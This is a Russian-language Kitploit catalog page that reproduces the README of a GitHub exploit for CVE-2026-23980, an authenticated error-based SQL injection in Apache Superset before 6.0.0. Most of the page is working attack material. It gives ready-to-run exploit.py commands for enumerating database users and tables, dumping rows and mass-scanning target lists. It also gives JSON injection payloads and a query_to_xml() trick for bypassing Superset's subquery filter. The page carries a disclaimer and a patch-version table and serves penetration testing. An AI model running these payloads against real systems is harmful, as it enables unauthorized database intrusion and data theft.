Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-23980-Exploit — Эксплойт для CVE-2026-23980 — аутентифицированная SQL-инъекция на основе ошибок в Apache Superset < 6.0.0 через обход sqlExpression | Kitploit
Инструменты/GitHubGitHub/oscar-mine/cve-2026-23980-exploit
РазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHuboscar-mine/cve-2026-23980-exploit

CVE-2026-23980-Exploit

Эксплойт для CVE-2026-23980 — аутентифицированная SQL-инъекция на основе ошибок в Apache Superset < 6.0.0 через обход sqlExpression

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
4 месяцев назадЕщё не проверено

CVE-2026-23980 — SQL-инъекция в Apache Superset с аутентификацией

root@kitploit:~
    ____
   / __ \
  | |  | |
  | |__| |
   \___\_\

sqlExpression уходит прямо в запрос. Никакой параметризации. Никакой надежды.

Apache Superset < 6.0.0 позволяет аутентифицированным пользователям с правом чтения выполнять SQL-инъекцию на основе ошибок через параметры sqlExpression или where в конечной точке /api/v1/chart/data.

Фильтр validate_adhoc_subquery() обходится с помощью XML-функций PostgreSQL (query_to_xml и др.), которые выполняют SQL как аргументы функций, невидимые для токенизатора sqlparse.

  • CVSS: 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • CWE: CWE-89 (SQL-инъекция)
  • Затронуто: Apache Superset < 6.0.0
  • Исправлено: Apache Superset 6.0.0
  • Требуется аутентификация: Да (право чтения)
  • База данных: PostgreSQL (извлечение на основе ошибок)

Цепочка атаки

root@kitploit:~
POST /api/v1/chart/data
  -> ChartDataRestApi.data()
  -> QueryContext.get_df_payload()
  -> SqlaTable.get_sqla_query()
  -> adhoc column sqlExpression / extras.where injected
  -> validate_adhoc_subquery() ОБОЙДЕН через query_to_xml()
  -> сырой SQL попадает в PostgreSQL
  -> CAST((...) AS INT) — ошибка раскрывает данные в ответе

Установка

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests

Использование

Разведка — определение версии и перечисление источников данных

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --check

Проверка, подвержен ли источник данных инъекции

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test

Извлечение данных через SQLi на основе ошибок

root@kitploit:~
# Версия базы данных
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT version()"

# Пользователи базы данных
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"

# Список таблиц
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"

# Текущий пользователь
python3 exploit.py ... --sql "SELECT current_user"

Обход проверки подзапросов с помощью query_to_xml()

Когда validate_adhoc_subquery() блокирует ваш запрос (обнаруживает FROM/JOIN):

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass

Это оборачивает запрос в query_to_xml(), который скрывает конструкцию FROM от токенизатора.

Выгрузка нескольких строк

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20

Использование точки инъекции WHERE

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --injection-point where

Массовое сканирование

root@kitploit:~
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt

Прокси через Burp

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --proxy http://127.0.0.1:8080

Как это работает

Векторы инъекции

sqlExpression (по умолчанию) — внедряется в определение столбца:

root@kitploit:~
{
  "columns": [{
    "label": "injected",
    "sqlExpression": "CAST((SELECT version()) AS INT)",
    "expressionType": "SQL"
  }]
}

where — внедряется в конструкцию extras.where:

root@kitploit:~
{
  "extras": {
    "where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
  }
}

Извлечение на основе ошибок

Эксплойт использует приведение типов PostgreSQL для утечки данных:

root@kitploit:~
CAST((SELECT version()) AS INT)

PostgreSQL не может преобразовать строку в целое число, поэтому выдаёт ошибку:

root@kitploit:~
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."

Утёкшее значение извлекается из сообщения об ошибке в ответе API.

Обход проверки

Функция has_table_query() в Superset ищет FROM/JOIN для обнаружения подзапросов. Функция query_to_xml() в PostgreSQL выполняет SQL, но скрывает его как аргумент функции:

root@kitploit:~
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')

Токенизатор видит вызов функции, а не конструкцию FROM, что позволяет обойти фильтр.

Анализ исправлений

Версия

Ссылки

  • NVD — CVE-2026-23980
  • Консультация Apache
  • Quarkslab — Обход ограничений SQLi в Superset
  • OSS Security
  • CVE-2025-48912 — Связанный обход RLS

Отказ от ответственности

Этот инструмент предназначен только для авторизованных исследований в области безопасности. Используйте его исключительно против систем, на тестирование которых у вас есть явное разрешение. Автор не несёт ответственности за неправомерное использование.

Скачать инструмент
Статус
< 4.0.2Уязвима (нет денylist для XML-функций)
4.0.2Частичное исправление (CVE-2024-39887 — добавлены некоторые XML-функции в денylist)
4.1.0Расширенный денylist (больше XML-функций)
4.1.2Исправлен обход безопасности на уровне строк (CVE-2025-48912)
6.0.0Полное исправление CVE-2026-23980